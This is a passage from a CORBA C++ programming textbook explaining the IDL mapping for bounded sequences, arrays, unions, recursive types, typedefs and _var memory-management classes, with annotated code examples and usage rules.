sequence elements. For example, you can extract a binary file without copying the 
sequence elements: 
        
BinaryFile bf = ...;                    // Get an image file... 
CORBA::Octet * data = bf.get_buffer();  // Get pointer to buffer 
CORBA::ULong len = bf.length();         // Get length 
display_gif_image(data, len);           // Display image 
 
       
This code obtains a pointer to the sequence data and passes the pointer to a display 
routine. The advantage here is that you can display the sequence contents without 
copying any elements. 
 
The get_buffer modifier function provides read-write access to a sequence buffer. Its 
orphan argument determines who gets ownership of the buffer. If orphan is false (the 
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default), the sequence retains ownership and releases the buffer when it goes out of scope. 
If orphan is true, you become responsible for the returned buffer and must eventually 
deallocate it using freebuf. 
 
You need to exercise caution if you decide to use the get_buffer modifier. The 
modifier enables you to assign to sequence elements in place. However, if the elements 
are strings, wide strings, or object references, you need to check the release flag of the 
sequence (returned by the release member function). If the release flag is false, you 
must not deallocate elements before assigning to them. If the release flag is true, you 
must deallocate sequence elements before assigning to them. The deallocation functions 
are CORBA::string_free, CORBA:: wstring_free, and CORBA::release, 
depending on whether the sequence elements are strings, wide strings, or object 
references. (Other element types require no memory management from you.) 
 
After you have taken ownership of the buffer from a sequence, the sequence reverts to the 
same state it would have if it had been constructed by its default constructor. If you 
attempt to remove ownership of a buffer from a sequence whose release flag is false, 
get_buffer returns a null pointer. 

6.14.2 Mapping for Bounded Sequences 

The mapping for bounded sequences is identical to the mapping for unbounded sequences 
except that the maximum is hard-wired into the generated class. For example: 
       
typedef sequence<double, 100> DoubleSeq; 
 
      
This results in the following class: 
       
class DoubleSeq_var; 
 
class DoubleSeq { 
public: 
                                  DoubleSeq(); 
                                  DoubleSeq( 
                                      CORBA::ULong len, 
                                      CORBA::Double * data, 
                                      CORBA::Boolean release = 0 
                                  ); 
                                  ~DoubleSeq(); 
                                   
                                  DoubleSeq(const DoubleSeq &); 
    DoubleSeq &               operator=(const DoubleSeq &); 
     
    CORBA::Double &           operator[](CORBA::ULong idx); 
    const CORBA::Double &     operator[](CORBA::ULong idx) const; 
     
    CORBA::ULong                  length() const; 
    void                          length(CORBA::ULong newlen); 
    CORBA::ULong                  maximum() const;  
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    Boolean                       release() const; 
    void                          replace( 
                                      CORBA::ULong   length, 
                                      CORBA::Double * data, 
                                      CORBA::Boolean release = 0 
                                  ); 
    CORBA::Double *               get_buffer() const; 
    CORBA::Double *               get_buffer(CORBA::Boolean orphan = 0); 
    static CORBA::Double *        allocbuf(CORBA::ULong nelems); 
    static void                  freebuf(CORBA::Double * data); 
     
    typedef DoubleSeq_var _var_type; 
}; 
 
      
As you can see, the only differences between a bounded sequence and an unbounded 
sequence are that for a bounded sequence, the maximum constructor is missing and that 
the data constructor does not accept a maximum parameter. (The maximum value of 100 
is generated into the source code for the class.) 
 
Attempts to set the length of a bounded sequence beyond the maximum result in 
undefined behavior, usually a core dump. Calls to allocbuf need not specify a number 
of elements that is the same as the sequence bound. 

6.14.3 Sequence Limitations 

Insertion and Deletion of Elements 

An annoying aspect of the sequence mapping is that you can change the length of a 
sequence only at its tail. To insert an element somewhere in the middle, you must open a 
gap by copying the elements to the right of the insertion point. The following helper 
function preinserts an element into a sequence at a nominated position. Passing an index 
value equal to the length of the sequence appends the element at the tail. The function 
assumes that only legal index values in the range 0 to length()-1 will be passed: 
        
template<class Seq, class T> 
void 
pre_insert(Seq & seq, const T & elmt, CORBA::ULong id x) 
{ 
    seq.length(seq.length() + 1); 
    for (CORBA::ULong i = seq.length() - 1; i > idx;i--) 
        seq[i] = seq[i - 1]; 
    seq[idx] = elmt; 
} 
 
       
This code extends the sequence by one element, opens a gap by copying elements from 
the insertion point to the tail over by one position, and then assigns the new element. 
Similar code is required for removal of an element, in which you need to close the gap 
that is left behind at the deletion point: 
        
template<class Seq> 
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void 
remove(Seq & seq, CORBA::ULong idx) 
{ 
    for (CORBA::ULong i = idx; i < seq.length() - 1; i++) 
        seq[i] = seq[i + 1]; 
    seq.length(seq.length() - 1); 
} 
 
       
Insertion and removal operations on sequences have O(n) run-time performance. This 
performance becomes unacceptable if frequent insertions or deletions are made, 
particularly for long sequences with elements of complex type. In such a case, you are 
better off using a more suitable data structure instead of trying to manipulate sequence 
elements in place. 
 
For example, you can use an STL set or multiset to perform insertions and deletions in 
O(log n) time. After the set is in its final state, simply create an equivalent sequence by 
copying the contents of the set in a single pass. This technique is particularly useful if 
you need to make many updates to a sequence but want to keep the sequence in sorted 
order. 

Using the Data Constructor with Complex Types 

The data constructor is of limited value if a sequence contains elements of user-defined 
complex type. Consider the following IDL: 
        
typedef string            Word; 
typedef sequence<Word> Line; 
typedef sequence<Line> Document; 
 
       
This IDL represents a line of text as a sequence of words, and a document as a sequence 
of lines. The problem for the data constructor is that we have no idea how the C++ class 
for a sequence of words is represented internally. For example, the sequence class will 
almost certainly have private data members that point at the dynamic memory for the 
sequence buffer. It follows that we cannot write a sequence value into a binary file and 
read the file later to reconstruct the sequence. By the time the file is read, the private 
pointer values of the sequence will likely point at the wrong memory locations. 
 
You can use the sequence data constructor to create a sequence of complex values, but 
the sequence elements of the vector must be created by memberwise assignment or copy. 
For example: 
        
Line * docp = Document::allocbuf(3);     // Three-line document 
Line tmp;                                // Temporary line 
 
tmp.length(4);                           // Initialize first line 
tmp[0] = CORBA::string_dup("This"); 
tmp[1] = CORBA::string_dup("is"); 
tmp[2] = CORBA::string_dup("line"); 
tmp[3] = CORBA::string_dup("one."); 
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docp[0] = tmp;                           // Assign first line 
 
tmp.length(1);                           // Initialize second line 
tmp[0] = CORBA::string_dup("Line2"); 
docp[1] = tmp;                           // Assign second line 
 
tmp[0] = CORBA::string_dup("Line3");     // Initialize third line 
docp[2] = tmp;                           // Assign third line 
 
Document my_doc(3, 3, docp, 1);          // Use data constructor 
// ... 
 
       
This code is correct, but use of the data constructor no longer offers any advantage in 
performance (because the sequence elements cannot be created by reading them from a 
binary file or by copying memory). For this reason, you should avoid using the data 
constructor for anything except sequences of simple types and for sequences of string 
literals with the release flag set to false. 

6.14.4 Rules for Using Sequences 

Here are some rules for safe use of sequences. 
 
Do not make assumptions about when constructors or destructors run. The 
implementation of the sequence mapping is free to delay construction or destruction of 
elements for efficiency reasons. This means that your code must not rely on side effects 
from construction or destruction. Simply assume that elements are copy-constructed 
during the first assignment, default-constructed during the first access, and destroyed 
when a sequence is shortened or goes out of scope. In that way, you will not get any 
unpleasant surprises. 
 
Never pass a sequence to a function for modification if the release flag is false. If the 
sequence does not own its buffer, the called function will most likely cause memory leaks 
if it modifies sequence elements. 
 
Avoid using the data constructor for elements of complex type. For complex types, the 
data constructor does not offer any advantages but makes the source code more complex. 
Remember that increasing the length of a sequence beyond the current maximum may 
cause relocation of elements in memory. 
 
Do not index into a sequence beyond the current length. 
 
Do not increase the length of a bounded sequence beyond its bound. 
 
Do not use the data constructor or the buffer manipulation functions unless you really 
need to. Direct buffer manipulation is fraught with potential memory management errors, 
and you should first convince yourself that any savings in performance justify the 
additional coding and testing effort. 
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6.15 Mapping for Arrays 

IDL arrays map to C++ arrays of the corresponding element type. String elements are 
mapped to String_mgr (or some other type proprietary to the mapping 
implementation). The point is that string elements are initialized to the empty string but 
otherwise behave like a String_var (that is, manage memory). For example: 
      
typedef float   FloatArray[4]; 
typedef string  StrArray[15][10]; 
 
struct S { 
    string  s_mem; 
    long    l_mem; 
}; 
typedef S       StructArray[20]; 
 
     
This maps to C++ as follows: 
      
typedef CORBA::Float        FloatArray[4]; 
typedef CORBA::Float        FloatArray_slice; 
FloatArray_slice *          FloatArray_alloc(); 
FloatArray_slice *          FloatArray_dup( 
                                const FloatArray_slice * 
                            ); 
void                        FloatArray_copy( 
                                FloatArray_slice *          to, 
                                const FloatArray_slice *    from 
                            ); 
void                        FloatArray_free(FloatArray_slice *); 
 
typedef CORBA::String_mgr   StrArray[15][10]; 
typedef CORBA::String_mgr   StrArray_slice[10]; 
StrArray_slice *            StrArray_alloc(); 
StrArray_slice *            StrArray_dup(const StrArray_slice *); 
void                        StrArray_copy( 
                                StrArray_slice *           to, 
                                const StrArray_slice *     from 
                            ); 
void                        StrArray_free(StrArray_slice *); 
struct S { 
    CORBA::String_mgr   s_mem; 
    CORBA::Long         l_mem; 
}; 
typedef S                   StructArray[20]; 
typedef S                   StructArray_slice; 
StructArray_slice *         StructArray_alloc(); 
StructArray_slice *         StructArray_dup( 
                                const StructArray_slice * 
                            ); 
void                        StructArray_copy( 
                                StructArray_slice *         to, 
                                const StructArray_slice *   from 
                            ); 
void                        StructArray_free(StructArray_slice *); 
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As you can see, each IDL array definition generates a corresponding array definition in 
C++. This means that you can use IDL array types just as you use any other array type in 
your code. For example: 
      
FloatArray my_f = { 1.0, 2.0, 3.0 }; 
my_f[3] = my_f[2]; 
 
StrArray my_str; 
my_str[0][0] = CORBA::string_dup("Hello");   // Transfers ownership 
my_str[0][1] = my_str[0][0];                 // Deep copy 
 
StructArray my_s; 
my_s[0].s_mem = CORBA::string_dup("World");  // Transfers ownership 
my_s[0].l_mem = 5; 
 
     
To dynamically allocate an array, you must use the generated allocation and deallocation 
functions (use of new [] and delete [] is not portable): 
      
// Allocate 2-D array of 150 empty strings 
StrArray_slice * sp1 = StrArray_alloc(); 
 
// Assign one element 
sp1[0][0] = CORBA::string_dup("Hello"); 
 
// Allocate copy of sp1 
StrArray_slice * sp2 = StrArray_dup(sp1); 
 
StrArray x;                 // 2-D array on the stack 
StrArray_copy(&x, sp1); // Copy contents of sp1 into x 
 
StrArray_free(sp2);         // Deallocate 
StrArray_free(sp1);         // Deallocate 
 
     
The allocation functions return a null pointer to indicate failure and do not throw CORBA 
or C++ exceptions. 
 
The allocation functions use the array slice type that is generated. The slice type of an 
array is the element type of the first dimension (or, for a two-dimensional array, the row 
type). In C++, array expressions are converted to a pointer to the first element and the 
slice types make it easier to declare pointers of that type. For an array type T, a pointer to 
the first element can be declared as T_slice *. Because IDL arrays map to real C++ 
arrays, you can also use pointer arithmetic to iterate over the elements of an array. 
 
The StrArray_copy function deep-copies the contents of an array. Neither the source 
nor the target array need be dynamically allocated. This function effectively implements 
assignment for arrays. (Because IDL arrays are mapped to C++ arrays and C++ does not 
support array assignment, the mapping cannot provide an overloaded operator for array 
assignment.) 
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6.16 Mapping for Unions 

IDL unions cannot be mapped to C++ unions; variable-length union members (such as 
strings) are mapped to classes, but C++ does not permit unions to contain class members 
with non-trivial constructors. In addition, C++ unions are not discriminated. To get 
around this, IDL unions map to C++ classes. For example: 
      
union U switch (char) { 
case 'L': 
    long    long_mem; 
case 'c': 
case 'C': 
    char    char_mem; 
default: 
    string  string_mem; 
}; 
 
     
The corresponding C++ class has an accessor and a modifier member function for each 
union member. In addition, there are member functions to control the discriminator and 
to deal with initialization and assignment: 
      
class U_var; 
 
class U { 
public: 
                    U(); 
                    U(const U &); 
                    ~U(); 
    U &             operator=(const U &); 
     
    CORBA::Char     _d() const; 
    void            _d(CORBA::Char); 
     
    CORBA::Long     long_mem() const; 
    void            long_mem(CORBA::Long); 
    CORBA::Char     char_mem() const; 
    void            char_mem(CORBA::Char); 
    const char *    string_mem() const; 
    void            string_mem(char *); 
    void            string_mem(const char *); 
    void            string_mem(const CORBA::String_var &); 
     
    typedef U_var _var_type; 
}; 
 
     
As with other IDL generated types, there may be additional member functions in the class. 
If there are, these functions are internal to the mapping implementation and you should 
pretend they do not exist.[5]  

[5] We delay explanation of the _var_type definition in this class until Section 18.14.1, where 
we show an example of its use. 
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6.16.1 Union Initialization and Assignment 

As with other complex IDL types, a union has a constructor, a copy constructor, an 
assignment operator, and a destructor. 
       
    U() 
 
      
The default constructor of a union performs no application-visible initialization of the 
class. This means that you must explicitly initialize the union before reading any of its 
contents. You are not even allowed to read the discriminator value of a default-
constructed union. 
       
U(const U &) 
U & operator=(const U &) 
 
      
The copy constructor and assignment operator make deep copies, so if a union contains a 
string, the string contents are copied appropriately. 
       
    ~U() 
 
      
The destructor destroys a union. If the union contains a variable-length member, the 
memory for that member is deallocated correctly. Destroying an uninitialized default-
constructed union is safe. 

6.16.2 Union Member and Discriminator Access 

To activate or assign to a union member, you invoke the corresponding modifier member 
function. Assigning to a union member also sets the discriminator value. You can read 
the discriminator by calling the _d member function. For example: 
       
U my_u;                         // 'my_u' is not initialized 
my_u.long_mem(99);              // Activate long_mem 
assert(my_u._d() == 'L');       // Verify discriminator 
assert(my_u.long_mem() == 99);  // Verify value 
 
      
In this example, the union is not initialized after default construction. Calling the 
modifier function for the member long_mem initializes the union by activating that 
member and setting its value. As a side effect, assigning to a member via the modifier 
function also sets the discriminator value. The preceding code tests the discriminator 
value in an assertion to verify that the union works correctly. It also reads the value of 
long_mem by calling its accessor member function. Because we just set the value to 99, 
the accessor must of course return that value. The code tests this with another assertion. 
To change the active member of a union, you can use the modifier for a different member 
to assign to that member: 
       
my_u.char_mem('X'); // Activate and assign to char_mem 
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// Discriminator is now 'c' or 'C', who knows... 
my_u._d('C');       // Now it is definitely 'C' 
 
      
Activating the member char_mem sets the discriminator value accordingly. The 
problem in this case is that there are two legal discriminator values: 'c' and 'C'. 
Activating the member char_mem sets the discriminator to one of these two values, but 
you have no way of knowing which one (the choice is implementation-dependent). The 
preceding code example explicitly sets the value of the discriminator to 'C' after 
activating the member. 
You cannot set the discriminator value if that would deactivate or activate a member: 
       
my_u.char_mem('X'); // Activate and assign char_mem 
assert(my_u._d() == 'c' || my_u._d() == 'C'); 
my_u._d('c');       // OK 
my_u._d('C');       // OK 
my_u._d('X');       // Illegal, would activate string_mem 
 
      
The preceding example shows that you can set the discriminator only to a value that is 
consistent with the currently active union member (the only legal values here are 'c' 
and 'C'). Setting the discriminator value to anything else results in undefined behavior, 
and many implementations will deliberately force a core dump to let you know that your 
program contains a serious run-time error. 
Setting the default member of the union leaves the discriminator in a partially undefined 
state: 
       
my_u.string_mem(CORBA::string_dup("Hello")); 
// Discriminator value is now anything except 'c', 'C', or 'L'. 
assert(my_u._d() != 'c' && my_u._d() != 'C' && my_u._d() != 'L'); 
 
      
The implementation of the union type picks a discriminator value that is legal for the 
default member, but, again, the precise value chosen is implementation-dependent. 
 
This behavior can be inconvenient, for example during tracing. Suppose you have trace 
statements throughout your code that print the discriminator value to the display at 
various points. A problem arises if the default member string_mem is active in the 
union, because the value of the discriminator can be any character except 'c', 'C', and 
'L'. This makes it entirely possible for the discriminator to contain non-printable 
characters, such as a form feed, escape, or Ctrl-S. Depending on the display you are using, 
these characters may cause undesirable effects. For example, an escape character can 
cause the display to clear its screen or switch into block mode, and a Ctrl-S typically acts 
as a flow-control character that suspends output. 
 
In general, the default case and multiple case labels for the same union member do 
not assign a definite value to the discriminator of the union. We recommend that you use 
these IDL features with caution. Usually, you can express the desired design in some 
other way and avoid the potentially awkward coding issues involved. 
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The preceding example also illustrates another important point. String members inside a 
union behave like a String_var. In particular, the modifier function for the member 
string_mem is overloaded for const char *, char *, and String_var &. As 
always, the char * modifier takes ownership of the assigned string, whereas the const 
char * and String_var modifiers make deep copies: 
       
U my_u; 
 
// Explicit copy 
my_u.string_mem(CORBA::string_dup("Hello")); 
 
// Free "Hello", copy "World" 
my_u.string_mem((const char *)"World"); 
 
CORBA::String_var s = CORBA::string_dup("Again"); 
// Free "World", copy "Again" 
my_u.string_mem(s); 
 
// Free "Again", activate long_mem 
my_u.long_mem(999); 
cout < s < endl;      // Prints "Again" 
 
      
For dynamically allocated unions, use new and delete: 
       
U * up = new U; 
up->string_mem(CORBA::string_dup("Hello")); 
// ... 
delete up; 
 
      
On architectures with non-uniform memory management, the ORB generates class-
specific allocation and deallocation operators for the union, so you can still safely use 
new and delete. 

6.16.3 Unions without a default Case 

Here is a union that can be used to simulate optional parameters: 
       
union AgeOpt switch (boolean) { 
case TRUE: 
    unsigned short age; 
}; 
 
      
This union does not have an explicit default case but has an implicit default member 
when the discriminator is FALSE. If a union has an implicit default member, the mapping 
generates an additional _default member function for the corresponding C++ class: 
       
class AgeOpt_var; 
 
class AgeOpt { 
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public: 
                    AgeOpt(); 
                    AgeOpt(const AgeOpt &); 
                    ~AgeOpt(); 
    AgeOpt &    operator=(const AgeOpt &); 
 
    CORBA::Boolean  _d() const; 
    void            _d(CORBA::Boolean); 
 
    CORBA::UShort   age() const; 
    void            age(CORBA::UShort); 
 
    void            _default(); 
    typedef AgeOpt_var _var_type; 
}; 
 
      
The mapping follows the normal rules but also adds the _default member function. (It 
is a little unfortunate that a union without a default case has an extra member function 
called _default. You have to get used to this.) The _default member function 
activates the implicit default member of the union and sets the discriminator value 
accordingly: 
       
AgeOpt my_age; 
my_age._default();  // Set discriminator to false 
 
      
In this case, the only legal default value for the discriminator is 0 (which represents false). 
Note that the following code is illegal: 
       
AgeOpt my_age; 
my_age._d(0);   // Illegal! 
 
      
This code has undefined behavior, because it is illegal to activate a union member by 
setting the discriminator. (The non-existent implicit default member of the union is 
considered a member.) 
Similarly, you cannot reset an initialized union to the default member by setting the 
discriminator. You must instead use the _default member function: 
       
AgeOpt my_age; 
my_age.age(38);         // Sets discriminator to 1 
my_age._d(0);           // Illegal!!! 
my_age._default();      // Much better! 
 
      
Here is another interesting union, taken from the Trading Service Specification [21]: 
       
enum HowManyProps { none, some, all }; 
 
union SpecifiedProps switch (HowManyProps) { 
case some: 
    PropertyNameSeq prop_names; 
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}; 
 
      
This union permits two different discriminator values for the no-value case: none and 
all. Suppose you want to initialize the union to set the discriminator value to none. 
Again, you must use the _default member function: 
       
SpecifiedProps sp; 
sp._default();      // Activate implicit default member 
                    // Discriminator is now none or all 
sp._d(none);        // Fix discriminator 
 
      
The call to _default is necessary. Without it, we would attempt to activate the implicit 
default member by setting the discriminator, and that is illegal. 

6.16.4 Unions Containing Complex Members 

If a union contains a member that is of type any or contains a member that is a structure, 
union, sequence, or fixed-point type, the generated class contains three member functions 
for each union member instead of the usual two member functions. Consider the 
following union: 
       
struct Details { 
    double  weight; 
    long    count; 
}; 
 
typedef sequence<string> TextSeq; 
 
union ShippingInfo switch (long) { 
case 0: 
    Details packaging_info; 
default: 
    TextSeq other_info; 
}; 
 
      
This union has two members: one is a structure and the other one is a sequence. The 
generated class contains all the member functions we discussed previously but has three 
member functions for each union member: 
       
class ShippingInfo { 
public: 
                    // Other member functions as before... 
     
    const Details & packaging_info() const;          // Accessor 
    void            packaging_info(const Details &); // Modifier 
    Details &       packaging_info();                // Referent 
     
    const TextSeq & other_info() const;              // Accessor 
    void            other_info(const TextSeq &);     // Modifier 
    TextSeq &       other_info();                    // Referent 
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}; 
 
      
As with simple types, the union contains accessor functions that return the value of a 
member. (To avoid unnecessary data copying, accessors for complex types return the 
value by constant reference.) Also, as with simple types, each member has a modifier 
function that makes a deep copy. 
 
The referent member function returns a non-constant reference to the union member and 
exists for efficiency reasons. For large types, such as sequences, it is inefficient to change 
a member by calling its accessor followed by its modifier, because both functions make 
deep copies. The referent permits you to modify the value of a union member in place 
without copying: 
       
ShippingInfo info = ...; // Assume we have an initialized union... 
 
if (info._d() != 0) {                // other_info is active 
    TextSeq & s = info.other_info(); // get ref to other_info 
    // We can now modify the sequence while it is 
    // inside the union without having to copy 
    // the sequence out of the union and back in again... 
    for (CORBA::ULong i = 0; i < s.length(); i++) { 
        // Modify sequence elements... 
    } 
} 
 
      
Of course, if you obtain a reference to a union member, that member must currently be 
active (otherwise the behavior is undefined). Once you have a reference to a member, you 
must take care to use it only for as long as its corresponding member remains active. If 
you activate a different union member and use a reference to a previously active member, 
you are likely to end up with a core dump. 

6.16.5 Rules for Using Unions 

Here are some rules for using unions safely. 
Never attempt to access a union member that is inconsistent with the discriminator value. 
This is just common sense. Unions are not meant to be used as a backdoor mechanism for 
type casts. To safely read the value of a union member, first check the discriminator 
value. It is common to check the discriminator in a switch statement and to process each 
union member in a different branch of the switch. Be careful if you obtain a reference to a 
union member. The reference stays valid only for as long as its member remains active. 
 
Do not assume that union members overlay one another in memory. In C and C++, you 
are guaranteed that union members overlay one another in memory. However, no such 
guarantee is provided by the C++ mapping for IDL unions. A compliant ORB may keep 
all union members active simultaneously, or it may overlay some union members but not 
others. This behavior allows the ORB to intelligently adjust the behavior of a union 
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depending on its member types. (For some member types, keeping them active 
simultaneously may be more efficient.) 
 
Do not make assumptions about when destructors run. The C++ mapping does not state 
when members should be destroyed. If you activate a new union member, the previous 
member's destructor may be delayed for efficiency reasons. (It may be cheaper to delay 
destruction until the entire union is destroyed, especially if members occupy only a small 
amount of memory.) You should write your code as if each member were destroyed the 
instant it is deactivated. In particular, do not expect a union member to retain its value if 
it is deactivated and reactivated later. 

6.17 Mapping for Recursive Structures and Unions 

Consider the following recursive union: 
      
union Link switch (long) { 
case 0: 
    typeA           ta; 
case 1: 
    typeB           tb; 
case 2: 
    sequence<Link>  sc; 
}; 
 
     
The union contains a recursive member sc. Assume that you would like to activate the 
sc member of this union so that sc is an empty sequence. As you saw earlier, the only 
way to activate a union member is to pass a value of the member's type to its accessor. 
However, sc is of anonymous type, so how can you declare a variable of that type? 
 
The C++ mapping deals with this problem by generating an additional type definition 
into the union class: 
      
class Link { 
public: 
    typedef some_internal_identifier _sc_seq; 
 
    // Other members here... 
}; 
 
     
The generated class defines the type name _sc_seq to give a name to the otherwise 
anonymous type. In general, if a union u contains a member mem of anonymous type, the 
type of mem has the name u::_mem_seq. You can use this type name to correctly 
activate the recursive member of a union: 
      
Link::_sc_seq myseq;        // myseq is empty 
Link mylink;                // uninitialized union 
mylink.sc(myseq);           // activate sc 
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The same mapping rule applies to recursive structures. If a structure s contains an 
anonymous sequence member mem, the type of mem is s::_mem_seq. 

6.18 Mapping for Type Definitions 

IDL type definitions map to corresponding type definitions at the C++ level. If a single 
IDL type results in multiple C++ types, each C++ type has a corresponding type 
definition. Aliasing of type definitions is preserved. If function declarations are affected 
by aliasing, a corresponding function using the alias name is defined (usually as an inline 
function): 
      
typedef string      StrArray[4]; 
typedef StrArray    Address; 
 
     
This definition maps as follows: 
      
typedef CORBA::String_mgr   StrArray[4]; 
typedef CORBA::String_mgr   StrArray_slice; 
StrArray_slice *            StrArray_alloc(); 
StrArray_slice *            StrArray_dup(const StrArray_slice *); 
void                        StrArray_free(StrArray_slice *); 
 
typedef StrArray            Address; 
typedef StrArray_slice      Address_slice; 
 
Address_slice *             Address_alloc() 
                                { return StrArray_alloc(); } 
 
Address_slice *             Address_dup( 
                                const Address_slice * p 
                            ) { return StrArray_dup(p); } 
 
void                        Address_free(Address_slice * p) 
                                { StrArray_free(p); } 
 
     
The preceding code looks complicated, but it really means that aliases for types can be 
used in exactly the same way as the original type. For example, with the preceding 
mapping, you can use StrArray and Address interchangeably in your code. 

6.19 User-Defined Types and _var Classes 

As shown earlier in Table 6.2, the IDL compiler generates a _var class for every user-
defined structured type. These _var classes serve the same purpose as String_var; 
that is, they take on memory management responsibility for a dynamically allocated 
instance of the underlying type. 
 
Figure 6.3 shows the general idea of the generated _var class for an IDL type T, 
where T is a structure, union, or sequence. An instance of a _var class holds a private 
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pointer to an instance of the underlying type. That instance is assumed to be dynamically 
allocated and is deallocated by the destructor when the _var instance goes out of scope. 

Figure 6.3 _var class for structures, unions, and sequences. 

 
The _var class acts as a smart pointer that wraps the underlying type. The overloaded 
indirection operator delegates member function calls on the _var instance to the 
underlying instance. Consider the following code fragment, which assumes that T is a 
sequence type: 
      
{ 
    T_var sv = new T;   // T is a sequence, sv assumes ownership 
    sv->length(1);      // operator-> delegates to underlying T 
    // ... 
} // ~T_var() deallocates sequence 
 
     
This example illustrates that instances of a _var class behave much like ordinary C++ 
class instance pointers. The difference is that _var classes also manage memory for the 
underlying type. 

6.19.1 _var Classes for Structures, Unions, and Sequences 

The following code shows the general form of _var classes for structures, unions, and 
sequences. (Depending on the exact underlying type, there may be additional member 
functions, which we discuss shortly.) 
       
class T_var { 
public: 
                T_var(); 
                T_var(T *); 
                T_var(const T_var &); 
                ~T_var(); 
 
    T_var &     operator=(T *); 
    T_var &     operator=(const T_var &); 
     
    T *         operator->(); 
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    const T *   operator->() const; 
     
                operator T &(); 
                operator const T &() const; 
    T &         operator[](CORBA::ULong);       // For sequences 
    const T &   operator[](CORBA::ULong) const; // For sequences 
     
    // Other member functions here... 
private: 
    T * myT; 
}; 
T_var() 
 
      
The default constructor initializes the internal pointer to the underlying instance to null. 
As a result, you cannot use a default-constructed _var instance until after you have 
initialized it. 
       
T_var(T *) 
 
      
The pointer constructor assumes that the passed pointer points to a dynamically allocated 
instance and takes ownership of the pointer. 
       
T_var(const T_var &) 
 
      
The copy constructor makes a deep copy of both the T_var and its underlying instance 
of type T. This means that assignment to a copy-constructed T_var affects only that 
copy and not the instance it was copied from. 
       
~T_var() 
 
      
The destructor deallocates the instance pointed to by the internal pointer. 
       
T_var & operator=(T *) 
 
      
The pointer assignment operator first deallocates the instance of type T currently held by 
the target T_var and then assumes ownership of the instance pointed to by its argument. 
       
T_var & operator=(const T_var &) 
 
      
The T_var assignment operator first deallocates the instance of type T currently held by 
the target T_var and then makes a deep assignment of both the T_var argument and 
the instance of type T that the argument points to. 
       
T * operator->() 
const T * operator->() const 
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The indirection operator is overloaded to permit its use on both constant and non-constant 
instances of the underlying type. It returns a pointer to the underlying instance. This 
means that you can use the T_var to invoke any member function of the underlying type. 
       
operator T &() 
const operator T &() const 
 
      
These conversion operators permit a T_var to be used in places where a constant or 
non-constant reference to the underlying type is expected. 
       
T & operator[](CORBA::ULong) 
const T & operator[](CORBA::ULong) const 
 
      
The subscript operators are generated if the T_var represents a sequence or an array. 
They permit you to index into a sequence as if the T_var were the actual sequence or 
array type. The operators exist for convenience, letting you avoid awkward expressions 
such as sv->operator[](0). 

6.19.2 Simple Use of _var Classes 

Let us consider a simple example of using the _var class for a sequence. The IDL 
definition of the sequence is 
       
typedef sequence<string> NameSeq; 
 
      
This generates two C++ types: NameSeq, which is the actual sequence, and 
NameSeq_var, which is the corresponding memory management wrapper. Here is a 
code fragment that illustrates use of NameSeq_var instances: 
       
NameSeq_var ns;                         // Default constructor 
ns = new NameSeq;                       // ns assumes ownership 
ns->length(1);                          // Create one empty string 
ns[0] = CORBA::string_dup("Bjarne");    // Explicit copy 
NameSeq_var ns2(ns);                    // Deep copy constructor 
ns2[0] = CORBA::string_dup("Stan");     // Deallocates "Bjarne" 
 
NameSeq_var ns3;                        // Default constructor 
ns3 = ns2;                              // Deep assignment 
ns3[0] = CORBA::string_dup("Andrew");   // Deallocates "Stan" 
 
cout < ns[0] < endl;                  // Prints "Bjarne"; 
cout < ns2[0] < endl;                 // Prints "Stan"; 
cout < ns3[0] < endl;                 // Prints "Andrew"; 
 
// When ns, ns2, and ns3 go out of scope, 
// everything is deallocated cleanly... 
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As with String_var, the generated _var types are useful mainly to catch return 
values for dynamically allocated variable-length types. For example: 
       
extern NameSeq * get_names();   // Returns heap-allocated instance 
NameSeq_var nsv = get_names();  // nsv takes ownership 
// No need to worry about deallocation from here on... 
 
      

As you will see in Section 7.14, such allocation frequently happens when a client 
invokes an IDL operation. Using a _var instance to take ownership means that you need 
not constantly remember to deallocate the value at the correct time. 

6.19.3 Some Pitfalls of Using _var Classes 

Similar caveats apply to generic _var classes as apply to String_var. If you 
initialize a _var instance with a pointer or assign a pointer, you need to make sure that 
the pointer really points at dynamically allocated memory. Failure to do so results in 
disaster: 
       
NameSeq names;                       // Local sequence 
// ...                               // Initialize sequence 
NameSeq_var nsv(&names);         // Looming disaster! 
NameSeq_var nsv(new NameSeq(names)); // Much better! 
 
      
After you have assigned a pointer to a _var instance, you must be careful when 
dereferencing that pointer: 
       
NameSeq_var famous = new NameSeq; 
famous->length(1); 
famous[0] = CORBA::string_dup("Bjarne"); 
NameSeq * fp = famous;                      // Shallow assignment 
NameSeq * ifp; 
{ 
    NameSeq_var infamous = new NameSeq; 
    infamous->length(1); 
    infamous[0] = CORBA::string_dup("Bill"); 
    ifp = infamous;                         // Shallow assignment 
    famous = infamous;                      // Deep assignment 
} 
cout < (*fp)[0] < endl;   // Whoops, fp points nowhere 
cout < (*ifp)[0] < endl;  // Whoops, ifp points now here 
 
      
These problems arise because assignment to a _var deallocates the previous underlying 
instance and so invalidates a pointer still pointing to that instance. Similarly, when a 
_var instance goes out of scope, it deallocates the underlying instance and invalidates 
any pointers still pointing at that instance. 
 



IT-SC book: Advanced CORBA® Programming with C++ 

 198 

In practice, such problems rarely occur because _var classes are used mainly to avoid 
memory leaks for return values and out parameters. You will see more examples of using 
_var classes in Section 7.14.12. 

6.19.4 Differences Among Fixed- and Variable-Length 
Structures, Unions, and Sequences 

The generated _var classes vary slightly in their interfaces depending on whether they 
wrap a fixed-length or a variable-length type. Normally, these differences are transparent 
to you. They exist to hide differences in parameter passing rules for fixed-length and 
variable-length types (we discuss this in more detail in Section 7.14.12). 
 
All _var classes provide in, inout, out, and _retn member functions (with 
different signatures depending on whether the _var class wraps a variable- or a fixed-
length type). In addition, _var classes for variable-length types have an extra conversion 
operator, whereas _var classes for fixed-length types provide an extra constructor and 
assignment operator. 

Additional T_var Member Functions for Variable-Length Types 

In addition to the member functions discussed on page 212, for a variable-length structure, 
union, or sequence of type T, the IDL compiler generates the following: 
        
class T_var { 
public: 
    // Normal member functions here... 
     
    // Member functions for variable-length T: 
                operator T * &(); 
    const T &   in() const; 
    T &         inout(); 
    T * &       out(); 
    T *         _retn(); 
}; 
 
       
        
operator T * &() 
 
       
This additional conversion operator allows you to pass a variable-length T_var where a 
reference to a pointer to T is expected. This operator is used if T_var instances for 
variable-length types are passed as out parameters. We discuss this in detail in Section 
7.14. 
        
const T & in() const 
T & inout() 
T * & out() 
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These member functions allow you to explicitly pass a T_var as an in, inout, or out 
parameter instead of relying on default conversions. The functions are useful mainly if 
your compiler has defects relating to default conversions. You can also call these 
functions explicitly to improve code readability. If you pass a T_var instance to a 
function, it may not be immediately obvious whether the called function will modify the 
underlying value. By using these member functions, you can improve readability of the 
